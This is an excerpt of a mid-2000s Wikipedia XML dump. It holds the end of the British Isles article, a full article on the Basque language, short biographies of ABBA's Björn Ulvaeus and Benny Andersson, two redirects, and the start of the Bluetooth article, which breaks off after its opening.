#The [[Channel Islands]] are included here by convention. Some people do not consider them part of the archipelago, as they are closer to [[France]] than to [[Great Britain]].
#[[Rockall]] is not on the same segment of [[continental shelf]] as that of the archipelago, but is regarded in Britain as included.  Its status is disputed.
#Translation by Roseman, ''op.cit.''
#The problems caused by how one refers to the isles was highlighted when the historian Norman Davies produced a book examining the history of the archipelago. The title chosen was the neutral ''The Isles: A History'' though the cover carries a picture of the Kingdoms of England, Scotland and Ireland from Abraham Ortelius's 1570 map. Indeed the term ''British Isles'' does not even feature in the index of the book. The index simply refers to ''The Isles''. Norman Davies, ''The Isles: A History'' (Palgrave/Macmillan, 1999) ISBN 033376370X

==Further reading==
*&lt;cite&gt;[[A History of Britain]]: At the Edge of the World, 3500 BC - 1603 AD&lt;/cite&gt; by [[Simon Schama]], BBC/Miramax, 2000 ISBN 0786866756
*&lt;cite&gt;A History of Britain - The Complete Collection&lt;/cite&gt; on DVD by [[Simon Schama]], BBC 2002
*&lt;cite&gt;The Isles, A History&lt;/cite&gt; by [[Norman Davies]], Oxford University Press, 1999, ISBN 0195134427
*&lt;cite&gt;Shortened History of England&lt;/cite&gt; by [[George Macaulay Trevelyan|G. M. Trevelyan]] Penguin Books ISBN 0140233237

==See also==
*[[UK topics]]
*[[History of Britain|History of Great Britain]]
*[[Laws in Wales Acts 1535-1542]]
*[[Act of Union 1707]]
*[[Act of Union 1800]]
*[[Anglo-Irish Treaty]]
*[[British-Irish Council]]

==External links==
*[http://fax.libs.uga.edu/DA90xB358A/ Archaic England]: an essay in deciphering prehistory from megalithic monuments, earthworks, customs, coins, place-names, and faerie superstitions, by Harold Bayley. Publisher: London, Chapman &amp; Hall ltd., 1919 
* [http://www.geograph.org.uk Geograph British Isles] - Creative Commons licenced, geo-located photographs of the British Isles
* [http://www.roman-britain.org Roman-Britain.Org]
*[http://penelope.uchicago.edu/Thayer/E/Gazetteer/Places/Europe/Great_Britain/_Periods/Roman/home.html Roman Britain at LacusCurtius] (includes 3 complete books)
* [http://penelope.uchicago.edu/Thayer/E/Gazetteer/Periods/Roman/.Texts/Ptolemy/2/1*.html The Geography of Claudius Ptolemy: Book II, Chapter 1]
* [http://penelope.uchicago.edu/Thayer/L/Roman/Texts/Pliny_the_Elder/4*.html#102 Pliny, Book 4 section 102ff.]
* [http://www.roman-britain.org/pliny.htm Pliny excerpts]
* [http://www.maphist.com/artman/uploads/04520_002.jpg Angliae, Scotiae et Hiberniae, sive Britannicar. insularum descriptio. - Ortelius, 1570]
* [http://www.bergbook.com/htdocs/woda/data/demo/descriptions/14983.htm Britannicarum Insularum Typus - Ortelius 1624]
* [http://www.walkingtree.com/ Mercator's Atlas] Maps of Cornwall &amp; Wales (&quot;Cornewallia &amp; Wallia&quot;), Ireland (&quot;Irlandia&quot;), Scotland (&quot;Scotia&quot;) and England (&quot;Anglia&quot;) circa 1564.
* [http://www.antiquemaps.co.uk/book/chapter18.html Early maps of the British Isles &amp;ndash; Munster 1550 et al.]
* [http://www.ucc.ie/celt/published/L201040/text082.html Excerpt from Reeves edition of ''Life of Saint Columba''.]
* [http://www.thelatinlibrary.com/bede1.html#8 Excerpt from Bede in Latin]
* [http://www.fordham.edu/halsall/basis/bede-book1.html Excerpt from Bede in English translation]
*[http://www.bbc.co.uk/history/state/nations/ BBC Nations]
*[http://www.macs.hw.ac.uk/britishisles/ The British Isles]

{{Template:Region}}

[[Category:British Isles]]

[[ca:Illes Britàniques]]
[[cs:Britské ostrovy]]
[[de:Britische Inseln]]
[[eo:Britaj Insuloj]]
[[es:Islas Británicas]]
[[fr:Îles britanniques]]
[[ko:영국 제도]]
[[is:Bretlandseyjar]]
[[nl:Britse Eilanden]]
[[ja:ブリテン諸島]]
[[no:De britiske øyene]]
[[nn:Dei britiske øyane]]
[[pl:Wyspy Brytyjskie]]
[[pt:Ilhas Britânicas]]
[[ru:Британские острова]]
[[simple:British Isles]]
[[fi:Britteinsaaret]]
[[sv:Brittiska öarna]]
[[zh:不列顛群島]]</text>
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      <text xml:space="preserve">#REDIRECT [[Baptist]]

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      <id>41260363</id>
      <timestamp>2006-02-26T03:16:59Z</timestamp>
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      <comment>dab, add accent aigu to Na-Dene</comment>
      <text xml:space="preserve">{{Infobox Language
|name=Basque
|nativename=Euskara
|familycolor=Isolate
|states=[[Spain]] and [[France]]
|region=[[Basque Country]]
|speakers=1,033,900 (first language: 700,000)
|family=[[Language isolate]] (see [[#History and classification|below]])
|nation=[[Euskadi]] and [[Navarre]] ([[Spain]])
|agency=[[Euskaltzaindia]]
|iso1=eu|iso2b=baq|iso2t=eus|iso3=eus}}

'''Basque''' (in Basque: ''Euskara'') is the [[language]] spoken by the [[Basque people]] who inhabit the [[Pyrenees]] in North-Central [[Spain]] and the adjoining region of South-Western [[France]]. More specifically, the Basques occupy a Spanish [[Autonomous communities of Spain|autonomous community]] known as the [[Basque Country (autonomous community)|Basque Country]] (''Euskadi''), which has significant cultural and political autonomy. Basques also make up sizable parts of the population in what is known as the Northern Basque Country in France and the autonomous community of [[Navarre]] in Spain. The Standard Basque name for the language is '''euskara'''; other dialectal forms are ''euskera'', ''eskuara'' and ''üskara''. Although  geographically surrounded by [[Indo-European languages|Indo-European]] languages, Basque is believed to be a [[language isolate]]. It is not an Indo-European language. 

==History and classification==
The [[Basque_people|ancestors of Basques]] are among the oldest inhabitants of [[Europe]], and their origins are still unknown, as are the origins of their language itself. Most scholars see Basque as a [[language isolate]].

Latin inscriptions in [[Aquitania]] preserve a number of words with cognates in proto-Basque, for instance the personal name Nescato (''neskato'' means &quot;young girl&quot; in modern Basque). This proposed language is called &quot;Aquitanian&quot; and was presumably spoken before the [[Roman Empire|Roman]]s brought Latin to the western Pyrenees. Roman neglect of this hinterland allowed Aquitanian Basque to survive while the Iberian and [[Tartessian language]]s died out. Basque did come to acquire some Latin vocabulary, both before and after the Latin of the area developed into Gascon (a branch of Occitan) and [[Iberian Romance|Navarrese Romance]].

Given that the border between Basque and Gascon country is more diffuse than that of Basque and Castilian country, it is commonly assumed that the Basques' origin was in Aquitaine and that they migrated southward.

===Theories on connections with other languages===
Many scholars have tried to link Basque to [[Etruscan language|Etruscan]], [[African languages]], [[Languages of the Caucasus|Caucasian languages]] and so on. A connection with the [[Iberian language]] gave some hope, but it is unclear whether similarities are due to genetic relations or [[Sprachbund|mere vicinity]].
The Caucasian hypothesis is widespread in [[Georgia (country)|Georgia]] as a link between Basques and Georgians; but there is little evidence to support it. (See &quot;[[Caucasian Iberia]]&quot;.) One of the few practical consequences is that the former mayor of [[Bilbao]] [[José María Gorordo]] made the city and the Georgian capital [[Tbilisi]] twin cities, and [[Euskal Telebista]] (Basque Television) co-produced a version of [[Don Quixote]] with the [[Georgian Television]].

Some adherents of the theory that Basque and the Caucasian languages are akin go as far as to propose a [[superfamily]], the [[Dene-Caucasian languages]]. This superfamily would also include the North American family of [[Na-Dené languages]].

==Geographic distribution==
The region in which Basque is spoken is smaller than what is known as the [[Basque Country]], or ''Euskal Herria'' in Basque.
Basque toponyms show that Basque was spoken further along the Pyrenees than today.
For example, the name of the [[Aran Valley]] (now a [[Gascon language|Gascon]]-speaking part of [[Catalonia]]) suggests Basque ''haran'', meaning &quot;valley&quot;. However, the growing influence of [[Latin language|Latin]] began to drive Basque out from  less mountainous areas of this region.

The [[Reconquista]] temporarily counteracted this tendency, when the Christian lords called on northern peoples &amp;mdash; Basques, [[Asturia]]ns and [[Frank]]s &amp;mdash; to colonize the new conquests. Later the Basque language came to be used mainly by peasants, while people in the cities preferred [[Castilian language|Castilian]], [[Gascon language|Gascon]], Navarrese Romance, [[French language|French]] or [[Latin language|Latin]] for high education. 

Basque experienced a rapid decline in Navarre during the 1800's. However, after [[Basque nationalism]] took the language as an identity sign, and with the establishment of autonomous governments, it has made a comeback. Basque-language schools have taken the language to areas like [[Encartaciones]] or the [[Navarrese Ribera]] where it may have never been natively spoken in historic times.

==Dialects and official status==
[[Image:Basque Dialects.svg|thumb|330px|Basque dialects|right]]
===Official status===
Historically, Latin or Romance has been the official language.
However, Basque was explicitly recognized in some areas, as the [[fuero|local charter]] of the Basque-[[Reconquista|colonized]] [[Ojacastro]] valley (now in [[Rioja (Spain)|Rioja]]) allowed the inhabitants to use Basque in legal processes in the 13th and 14th centuries.

Today Basque holds co-official language status in the Basque regions of Spain: the full [[Autonomous community of Spain|autonomous community]] of the [[Basque Country]] and some parts of [[Navarre]]. Basque has no official standing in the Northern Basque Country of France and  French citizens are barred from officially using Basque in a French court of law. Paradoxically, the use of Basque by Spanish nationals in French courts is allowed (with translation), as Basque is officially recognised on the other side of the frontier.

The positions of the various existing governments, in areas where Basque usage is common, differ with regard to the promotion of Basque. The language has official status in those territories which are within the Basque Autonomous Community where it is spoken and promoted heavily, but only partially in Navarre, which is divided by the law in three distinct language areas (this law is strongly rejected by the Basque-speaking people of Navarre).

===Dialects===
There are six main Basque dialects, comprising [[Biscayan]], [[Guipuzcoan]], and [[High Navarrese]] (in Spain), and [[Low Navarrese]], [[Labourdin]], and [[Souletin]] (in France). The dialect boundaries are not however congruent with political boundaries. 
One of the first scientific studies of Basque dialects, in particular the [[auxiliary verb]] forms, was made by [[Louis-Lucien Bonaparte]] (a nephew of [[Napoleon I|Napoleon]]).

===Standardized dialects===

The most widely used standardized dialect is [[Batua]] (&quot;unified&quot; in Basque), which is the language taught in most schools and used on TV. Batua is based largely on the [[Gipuzkoa]] regional dialect, where it is the most used, although it allows use of Northern and Navarrese vocabulary. It is also referred to as Standard Basque.

[[Azkue]]'s ''gipuzkera osotua'' was the first attempt to create a Basque standard in 1935. It did not succeed, not even in Gipuzkoa where Batua is always preferred.

Along with Batua, ''Classical Labourdin'', like [[Pierre Laffite]]'s ''Navarro-Labourdin'' is the standard form of Lapurtera taught in some schools of Lapurdi and used on radio, church and by the newspaper [[Herria]]. 

A group (''Jakintza Baitha'', &quot;Wisdom House&quot;) gathered around the academian [[Federico Krutwig]] preferred to base the standard on the Labourdin of [[Joannes Leyçarraga]]'s Protestant Bible and the first printed books in Basque.
However they got no official or popular support.

The most distinct dialects, Biscayan and Souletin also have a standard form.

===Derived languages===
 
In the 1500's, Basque sailors mixed many Basque words with a European Atlantic pidgin in their contacts with Iceland.

Several travelling professional groups of Castile used Basque words in their [[jargon]]s: examples are the ''[[gacería]]'', the ''[[mingaña]]'' and the Galician ''[[fala dos arxinas]]''.
&lt;!-- Begin commented out section: to-be-written. Note that the space before each heading is required to avoid interference with section editing, and should be removed once this text is uncommented.
 ==Sounds==
Description of the sound set of the language. Can include phoneme charts and example words for each phoneme like in [[French language]]. If there is significant discussion here, it is probably best to divide the section into vowels and consonants subsections.

 ===Vowels===
Vowel chart and discussion of vowels.

 ===Consonants===
Consonant chart and discussion of consonants.

 ===Phonology===
Discussion of some major phonological processes, such as important [[allophone]]s or assimilation rules.

 ===Historical sound changes===
Description of important sound changes in the history of the language. (Maybe this should go under history?) 
End commented out section
--&gt;

==Grammar==
Basque is an [[ergative-absolutive language]]. The subject of an [[intransitive verb]] is in the [[absolutive case]] (which is unmarked), and the same case is used for the ''[[direct object]]'' of a [[transitive verb]]. The subject of the transitive verb (that is, the agent) is marked differently, with the [[ergative case]] (shown by the suffix ''-k''). This also triggers main and auxiliary verbal agreement.

The [[auxiliary verb]] which accompanies most main verbs agrees not only with the subject, but with the direct object and the indirect object, if present. Among European languages, this polypersonal system (multiple verb agreement) is only found in Basque and some Caucasian languages. The ergative-absolutive alignment is also unique among European languages, and rather rare worldwide.

Consider the phrase:

:''Martinek egunkariak erosten dizkit.''
:&quot;Martin buys the newspapers for me.&quot;

''Martin-ek'' is the agent (transitive subject), so it is marked with the ergative case ending ''-k'' (with an [[epenthesis|epenthetic]] ''-e-''). ''Egunkariak'' has an ''-ak'' ending which marks plural object (plural absolutive, direct object case). The verb is ''erosten dizkit'', in which ''erosten'' is a kind of gerund (&quot;buying&quot;) and the auxiliary ''dizkit'' indicates: 

* ''di-'' marks a verb with both a direct object and an indirect one, in the present tense; 
* ''-zki-'' is the number of the direct object (in this case the newspapers; if it were singular there would be no suffix); and 
* ''-t'' is the indirect object mark: &quot;for me&quot;.

* in this instance an unmarked or &quot;null case&quot; equates to the &quot;nork&quot;, which in most European languages would be the subject.

The phrase:

:&quot;you buy the newspapers for me&quot; would translate as:

:''Zuek egunkariak erosten dizkidazue''

The auxiliary verb is composed as di-zki-da-zue 

( equivalent terms in European languages )

*''di-''   = direct object

*''-zki-'' = marks plural of direct object

*''-da-''  = indirect object ( to/for me ) {-t becomes -da- when intercalated.}

*''-zue''  = subject ( you pl. )

A Basque [[noun]] is inflected in 17 different ways for case, multiplied by 4 ways for its definiteness and number. These first 68 forms are further modified based on other parts of the sentence, which in turn are inflected for the noun again.  It's been estimated that at two levels of [[recursion]], a Basque noun may have 458,683 inflected forms ([http://acl.ldc.upenn.edu/A/A92/A92-1016.pdf Agirre et al, 1992]).

==Phonology==
Basque has a distinction between [[laminal consonant|laminal]] and [[Apical consonant|apical]] articulation for the alveolar fricatives and affricates. In the laminal consonants the friction occurs across the blade of the tongue, while in apical ones, it occurs at the tip (apex).

The laminal alveolar fricative is made with the tongue tip pointing toward the lower teeth; its affricate counterpart is {{IPA|[ts]}}. These are written with an orthographic ''z'' (''z'', ''tz''). The apical fricative is written ''s'' and is pronounced like the normal ''s'' in Castillian Spanish; that is, the tongue tip points toward the upper teeth.  The corresponding affricate is ''ts''.   In the westernmost parts of the Basque country, only the apical ''s'' and the alveolar affricate ''tz'' are used.

Basque also features postalveolar sibilants ({{IPA|/&amp;#x0283;/}}, written ''x'', and {{IPA|/t&amp;#x0283;/}}, written ''tx''), sounding like English ''sh'' and ''ch''.

There are two palatal stops, voiced and unvoiced, as well as a palatal nasal and a palatal lateral (the palatal stops are not present in all dialects). These and the postalveolar sounds are typical of diminutives, which are used frequently in child language and [[motherese]] (mainly to show affection rather than size). For example, ''tanta'' &quot;drop&quot; vs. ''ttantta'' {{IPA|/&amp;#x025F;an&amp;#x025F;a/}} &quot;droplet&quot;. A few common words, such as ''txakur'' {{IPA|/t&amp;#x0283;akur/}} &quot;dog&quot;, use palatal sounds even though in current usage they have lost the diminutive sense; the corresponding non-palatal forms now acquiring an augmentative or pejorative sense: ''zakur'' &quot;big dog&quot;. Many dialects of Basque exhibit a derived palatalization effect in which coronal onset consonants are changed into the palatal counterpart after the high front vowel {{IPA|/i/}}. For example, the {{IPA|/n/}} in ''egin'' &quot;to act&quot; becomes palatal when the suffix ''-a'' is added: {{IPA|/egina/}} = {{IPA|[egi&amp;#x0272;a]}} &quot;the action&quot;.

The sound represented by ''j'' has a variety of realizations according to the regional dialect: {{IPA|[j, &amp;#x029D;, &amp;#x025F;, &amp;#x0292;, &amp;#x0283;, x]}} (the last one is typical of the Spanish Basque Country).

The vowel system is the same as Spanish for most speakers. It consists of five pure vowels, {{IPA|/i e a o u/}}. &lt;!-- It is thought that Spanish took this system from Basque. [References?] --&gt; Speakers of the Souletin dialect also have a sixth, front rounded vowel (represented in writing by ''ü'' but pronounced {{IPA|/ø/}}, much like a German ''ö''), as well as a set of contrasting nasalized vowels.

===Stress and pitch===
Basque features great dialectal variation in stress, from a weak pitch-accent in the central dialects to a marked stress in some outer dialects, with varying patterns of stress placement. Stress is in general not distinctive; there are, however, a few instances where stress is phonemic, serving to distinguish between a few pairs of stress-marked words and between some grammatical forms (mainly plurals from other forms). E.g., ''basóà'' (&quot;the forest&quot;, absolutive case) vs. ''básoà'' (&quot;the glass&quot;, absolutive case; a borrowing from Spanish ''vaso''); ''basóàk'' (&quot;the forest&quot;, ergative case) vs. ''básoàk'' (&quot;the glass&quot;, ergative case) vs. ''básoak'' (&quot;the forests&quot; or &quot;the glasses&quot;, absolutive case). Given its great deal of variation among dialects, stress is not marked in the standard orthography and [[Euskaltzaindia]] (the Royal Academy of the Basque Language) only provides general recommendations for a standard placement of stress, basically to place a high-pitched weak stress (weaker than that of Spanish, let alone that of English) on the second syllable of a syntagma, and a low-pitched even-weaker stress on its last syllable, except in plural forms where stress is moved to the first syllable. This scheme provides Basque with a distinct musicality which sets its sound apart from the prosodical patterns of Spanish (which tends to stress the second-to-last syllable). ''Euskaldun berriak'' (&quot;new Basque-speakers&quot;, i.e. second-language Basque-speakers) with Spanish as their first language tend to carry the prosodical patterns of Spanish into their pronunciation of Basque, giving rise to a much despised ''decaffeinated'' pronunciation; e.g., pronouncing ''nire ama'' (&quot;my mom&quot;) as ''nire áma'' (- - ´ -), instead of as ''niré amà'' (- ´ - `).

==Vocabulary==
By contact with neighbouring peoples, Basque has borrowed words from [[Latin]], [[Spanish language|Spanish]], [[French language|French]], [[Gascon language|Gascon]], among others, but accepted relatively few compared to many [[Indo-European languages]]. Some claim that many of its words come from Latin, but phonetic evolution has made many of them appear nowadays as if they were native words, e.g. ''lore'' (&quot;flower&quot;, from ''florem''), ''errota'' (&quot;mill&quot;, from ''rotam'', &quot;[mill] wheel&quot;), ''gela'' (&quot;room&quot;, from ''cellam'').

==Writing system==
Basque is written using the [[Latin alphabet]]. The universal special letter is ''ñ''; sometimes ''ç'' and ''ü'' are also used. Basque does not use ''c, q, v, w, y'' except for loan words; they are not considered part of the alphabet.
: Aa Bb Dd Ee Ff Gg Hh Ii Jj Kk Ll Mm Nn Ññ Oo Pp Rr Ss Tt Uu Xx Zz
''dd, ll, rr, ts, tt, tx, tz'' are not treated as [[Digraph (orthography)|digraphs]].

In [[Sabino Arana]]'s (1865..1903) orthography, ''ll'' and ''rr'' were replaced with ''[[ĺ]]'' and ''[[ŕ]]'', respectively.

== Phrases ==
===Basic phrases ===
*'''Bai''' = Yes
*'''Ez''' = No
*'''Kaixo!''', '''Agur!''' = Hello 
*'''Agur!''', '''Adio!''' = Goodbye!
*'''Ikusi arte''' = See you!
*'''Eskerrik asko!''' = Thank you! 
*'''Egun on''' = Good morning (literally: Good day)
*'''Egun on, bai''' = Standard reply to '''Egun on'''
*'''Arratsalde on''' = Good evening
*'''Gabon''' = Good night
*'''Mesedez''' = Please
*'''Barkatu''' = Excuse (me)
*'''Aizu!''' = Listen! (To get someone's attention, not very polite, to be used with friends)
*'''Kafe hutsa nahi nuke''' = Can I have a coffee?
*'''Kafe ebakia nahi nuke''' = Can I have a macchiato?
*'''Kafesnea nahi nuke''' = Can I have a café latte?
*'''Garagardoa nahi nuke''' = Can I have a beer?
*'''Komunak''' = Toilets 
*'''Komuna, non dago?''' = Where are the toilets?
*'''Non dago tren-geltokia?''' = Where is the train station?
*'''Non dago autobus-geltokia?''' = Where is the bus station?
*'''Ba al da hotelik hemen inguruan?''' = Where is the (nearest, only) hotel?
*'''Zorionak''' = Happy holidays (During Christmas and new year's), congratulations

===Advanced phrases===
*'''Eup!'''= The colloquial way of greeting someone on the street, also '''apa''' or '''aupa'''. 
*'''Kaixo aspaldiko! '''= Like Kaixo, but adds &quot;Long time, no see&quot;-meaning.
*'''Ez horregatik '''= You're welcome 
*'''Ez dut ulertzen '''= I don't understand
*'''Ez dakit euskaraz'''= I don't speak Basque
*'''Ba al dakizu ingelesez?'''= Do you speak English?
*'''Neska polita ''' / '''Neska ederra'''= (You´re a) beautiful girl
*'''Zein da zure izena? '''= What is your name?
*'''Pozten nau zu ezagutzeak''' = Nice to meet you
*'''Ongi etorri! '''= Welcome!
*'''Egun on denoi '''= Good morning everyone!
*'''Berdin / Hala zuri ere '''= The same to you (E.g. after Kaixo or Egun on)
*'''Jakina!'''/'''Noski! '''= Sure! OK!
*'''Nongoa zara? '''= Where are you from?
*'''Non dago...? '''= Where is...? 
*'''Badakizu euskaraz? '''= Do you speak Basque?
*'''Bai ote? '''= Really? Maybe? 
*'''Bizi gara!! '''= We are alive!!
*'''Bagarela!! '''= So we are!! (Answer to the above)
*'''Topa! '''= Cheers!
*'''Hementxe! '''= Over / right here!
*'''Geldi!'''= Stop
*'''Lasai'''= Take it easy
*'''Ez dut nahi'''= I don't want
*'''Ez barandiaran'''= That which is great

==See also==
* [[Languages of France]]
* [[:Category:Languages of Spain|Languages of Spain]]

==External links==
{{InterWiki|code=eu}}
* [http://www.ethnologue.com/show_language.asp?code=eus Ethnologue report for Basque]
* [http://basque.unr.edu/ Center for Basque Studies at University of Nevada, Reno]
* [http://www.hermanboel.be/taal-en-basque.htm Concise course of Basque]
* [http://www.cogs.susx.ac.uk/users/larryt/basque.sketch.html Larry Trask: A Linguistic Sketch of Basque]
* [http://www.cogs.susx.ac.uk/users/larryt/basque.words.html Larry Trask: Some Important Basque Words (And a Bit of Culture)]
* [http://bips.bi.ehu.es/ahoweb/files/sampa.html A proposal for Basque SAMPA]
* [http://basque.unr.edu/09/9.3/9.3.18t/9.3.18.05.misc1.htm Basque Studies Program Newsletter] · Issue 18, 1978. Miguel Echegaray shares several suggestions of possible etymological connections between Basque and English words.

===Grammar===
* [http://www.ehu.es/grammar/ University of the Basque Country: A Brief Grammar of Euskara, the Basque Language]
* [http://www.euskalnet.net/chief/aditz/ Basque Verb Tables]

===Dictionaries===
* [http://www1.euskadi.net/morris/dictionary.htm Morris Student Plus: Basque - English - Basque dictionary (67,000 headwords + 120,000 expressions and idioms)]

==References==
*HUALDE, José Ignacio &amp; DE URBINA, Jon Ortiz (eds.): ''A Grammar of Basque''. Berlin: Mouton de Gruyter, 2003. ISBN 3-11-017683-1.
*TRASK, R. Larry: ''History of Basque''. New York/London: Routledge, 1996. ISBN 0415131162.

[[Category:Languages of France]]
[[Category:Languages of Spain]]
[[Category:Agglutinative languages]]
[[Category:Language isolates]]
[[Category:Synthetic languages]]
[[Category:Basque]]

[[als:Baskisch]]
[[ar:لغة باسكية]]
[[an:Idioma basco]]
[[ast:Vascu]]
[[br:Euskareg]]
[[ca:Basc]]
[[cy:Basgeg]]
[[da:Baskisk (sprog)]]
[[de:Baskische Sprache]]
[[et:Baski keel]]
[[es:Euskera]]
[[eo:Eŭska lingvo]]
[[eu:Euskara]]
[[fr:Basque]]
[[ko:바스크어]]
[[hr:Baskijski jezik]]
[[it:Lingua basca]]
[[he:בסקית]]
[[ka:ბასკური ენა]]
[[kw:Baskek]]
[[li:Baskisch]]
[[hu:Baszk nyelv]]
[[nl:Baskisch]]
[[ja:バスク語]]
[[oc:Basc]]
[[pl:Język baskijski]]
[[pt:Língua basca]]
[[ro:Limba bască]]
[[ru:Баскский язык]]
[[sl:Baskovščina]]
[[sr:Баскијски језик]]
[[fi:Baskin kieli]]
[[sv:Baskiska]]
[[uk:Баскійська мова]]
[[zh:巴斯克語]]</text>
    </revision>
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  <page>
    <title>BSD/License</title>
    <id>3739</id>
    <revision>
      <id>15902054</id>
      <timestamp>2003-11-08T10:36:14Z</timestamp>
      <contributor>
        <username>Minesweeper</username>
        <id>7279</id>
      </contributor>
      <minor />
      <comment>fix double redir</comment>
      <text xml:space="preserve">#REDIRECT [[BSD license]]</text>
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  </page>
  <page>
    <title>Björn Ulvaeus</title>
    <id>3740</id>
    <revision>
      <id>38332344</id>
      <timestamp>2006-02-05T17:39:01Z</timestamp>
      <contributor>
        <username>D6</username>
        <id>75561</id>
      </contributor>
      <minor />
      <comment>adding [[category:Living people]]</comment>
      <text xml:space="preserve">[[Image:BjornUlvaeus1.jpg|thumb|160px|Björn Ulvaeus]]
'''Björn Kristian Ulvaeus''' (born [[April 25]], [[1945]]) is a [[Sweden|Swedish]] musician and composer, most notable as a member of [[ABBA]].

Ulvaeus was born in [[Gothenburg]], Sweden, but as a child he moved with his family to [[Västervik]]. After being a member of ABBA he has, together with [[Benny Andersson]], created the musicals ''[[Chess (musical)|Chess]]'', ''[[Kristina från Duvemåla]]'' (based on the Immigrant novels by Swedish writer [[Vilhelm Moberg]]), and ''[[Mamma Mia!]]'' (based on existing ABBA songs).

On [[July 6]], [[1971]], Björn married [[Agnetha Fältskog]]; the marriage resulted in two children, [[Christian Ulvaeus|Christian]] (born in 1977) and [[Linda Ulvaeus|Linda]] (born in 1973). In [[1979]], Björn and Agnetha [[divorce]]d, although they both agreed to remain in ABBA. Björn later married Lena Kallersjö on [[January 6]], [[1981]], and the marriage produced another two daughters.

Today he lives with his second wife in [[Stockholm]].  He is a co-owner of the Hotel Rival in Stockolm.

== Children ==

=== First marriage ===

* [[Linda Ulvaeus|Linda Elin Ulvaeus]]
* [[Christian Ulvaeus|Christian Peter Ulvaeus]]

=== Second marriage ===

* Emma Ulvaeus
* Anna Ulvaeus

== External links ==
* [http://www.allmusic.com/cg/amg.dll?p=amg&amp;&amp;sql=11:85320r5ar48p~T0 Björn Ulvaeus] on the [[All Music Guide]]
* [http://www.geocities.com/summernightcity2001/bjorn.html Profile]

''See also: [[List of Swedes in music]]''

[[Category:1945 births|Ulvaeus, Björn]]
[[Category:Living people|Ulvaeus, Björn]]
[[Category:ABBA members|Ulvaeus, Björn]]
[[Category:Musical theatre composers|Ulvaeus, Björn]]
[[Category:Swedish songwriters|Ulvaeus, Björn]]

[[de:Björn Ulvaeus]]
[[es:Björn Ulvaeus]]
[[nl:Björn Ulvaeus]]
[[nb:Björn Ulvaeus]]
[[pl:Björn Ulvaeus]]
[[fi:Björn Ulvaeus]]
[[pt:Björn Ulvaeus]]
[[sv:Björn Ulvaeus]]</text>
    </revision>
  </page>
  <page>
    <title>Benny Andersson</title>
    <id>3741</id>
    <revision>
      <id>41453028</id>
      <timestamp>2006-02-27T12:44:05Z</timestamp>
      <contributor>
        <ip>203.198.114.35</ip>
      </contributor>
      <text xml:space="preserve">[[Image:Benny Andersson.jpg|thumb|200px|Benny Andersson]]
'''Benny Bror Göran Andersson'''  (born in [[Stockholm]] on [[December 16]] [[1946]]) is a [[Sweden|Swedish]] [[musician]], [[composer]] and a member of the Swedish musical group, ABBA. 

Benny's musical background came from his father and grandfather; both enjoyed playing the accordion. At the age of six Benny got an accordion of his own. Father Gösta and grandfather Efraim taught him Swedish [[folk music]].
When he was ten he had one or two piano lessons but found it rather boring. He left school at the age of fifteen and began to perform at youth clubs. This is when he met his first girlfriend Christina Grönvall. They never got married but did have two children: Peter in [[1963]] and Helen in [[1965]].

[[Image:Bennyearly.jpg|thumb|140px|left|Benny in ABBA's early days]]
In [[1964]] Benny became the [[Keyboard instrument|keyboard]] player of the rock 'n roll group [[Hep Stars]]. In 1965 Benny started to write material for the band, such as the number one hit ''Sunny Girl''.

In the summer of [[1969]] Benny met [[Anni-Frid Lyngstad]] at the same time as [[Björn Ulvaeus]] met [[Agnetha Fältskog]]. The personal relationships and Benny and Björn's composition has led quite naturally to the very close co-operation which the four friends have had during the previous two years.

After being a member of [[Hep Stars]] and later [[ABBA]] he has created the musicals ''[[Chess (musical)|Chess]]'',  ''[[Kristina från Duvemåla|Kristina från Duvemåla]]'' (based on the Immigrant novels by Swedish writer [[Vilhelm Moberg]]), and ''[[Mamma Mia!]]'' (based on existing ABBA songs), all of these together with [[Björn Ulvaeus]].

Andersson believes folk music to be an essential heritage of any nation which must be kept alive and continuously developed, and to that end he performs [[folk music]] on the [[accordion]] together with [[Orsa Spelmän]]. Since the late nineties he mostly plays with his band ''Benny Anderssons orkester'' (Benny Andersson's orchestra/band) with [[Helen Sjöholm]] from ''Kristina from Duvemåla'' on vocals.


== Children ==
* [[Peter Grönvall]]
* [[Helene Grönvall]]
* [[Ludvig Andersson]]

== Discography ==
===Solo albums===
* [[Klinga mina klockor]] ([[1987]])
* [[November 1989 (album)|November 1989]] ([[1989]])
===With Benny Anderssons Orkester===
* [[Benny Anderssons Orkester]] ([[2001]])
* [[BAO!]] ([[2004]])
===With Orsa Spelmän===
*[[Orsa Spelmän (album)|Orsa Spelmän]] ([[1988]])
*[[Fiolen Min]] ([[1990]])
*[[Ödra]] ([[1998]])

==External links==
* [http://members.home.nl/union.songs/html/benny.html Profile]
* [http://www.webmaster.ru/~dale/ABBA/MEMBERS/abi_benn.htm Fact File]
* [http://www.geocities.com/summernightcity2001/benny.html Profile Page]
* [http://www.setasign.net/bennyen.html Biography]

== See also == 
*[[List of Swedes in music]]
*[[ABBA discography]]

[[Category:1946 births|Andersson, Benny]]
[[Category:Living people|Andersson, Benny]]
[[Category:ABBA members|Andersson, Benny]]
[[Category:Musical theatre composers|Andersson, Benny]]
[[Category:Swedish songwriters|Andersson, Benny]]
[[Category:Swedish pianists|Andersson, Benny]]
[[Category:Pop pianists|Andersson, Benny]]

[[de:Benny Andersson]]
[[es:Benny Andersson]]
[[fr:Benny Andersson]]
[[nl:Benny Andersson]]
[[no:Benny Andersson]]
[[pl:Benny Andersson]]
[[fi:Benny Andersson]]
[[sv:Benny Andersson]]</text>
    </revision>
  </page>
  <page>
    <title>Bluetooth</title>
    <id>3742</id>
    <revision>
      <id>42158890</id>
      <timestamp>2006-03-04T05:15:20Z</timestamp>
      <contributor>
        <ip>220.225.137.242</ip>
      </contributor>
      <comment>/* Bluetooth 1.0 and 1.0B */</comment>
      <text xml:space="preserve">[[Image:Bluetooth-logo.svg|right|Bluetooth logo]] 
:''This article is about the Bluetooth wireless specification. For King Harold Bluetooth, see [[Harold I of Denmark]]''

'''Bluetooth''' is an industrial specification for wireless [[personal area network]]s (PANs). Bluetooth provides a way to connect and exchange information between devices like [[personal digital assistant]]s (PDAs), mobile phones, [[laptop]]s, [[Personal computer|PC]]s, [[computer printer|printer]]s and [[digital camera]]s via a secure, low-cost, globally available short range [[radio frequency]].

The name Bluetooth was born from the 10th century king of Denmark, [[Harold I of Denmark|King Harold Bluetooth]] who engaged in diplomacy which led warring parties to negotiate with each other. The inventors of the Bluetooth technology thought this a fitting name for their technology which allowed different devices to talk to each other [http://www.abc.net.au/newsradio/txt/s1551796.htm].

== Introduction ==
[[Image:Bluetooth headset.jpg|thumb|250px|right|A typical Bluetooth [[mobile phone]] [[headset]].]]

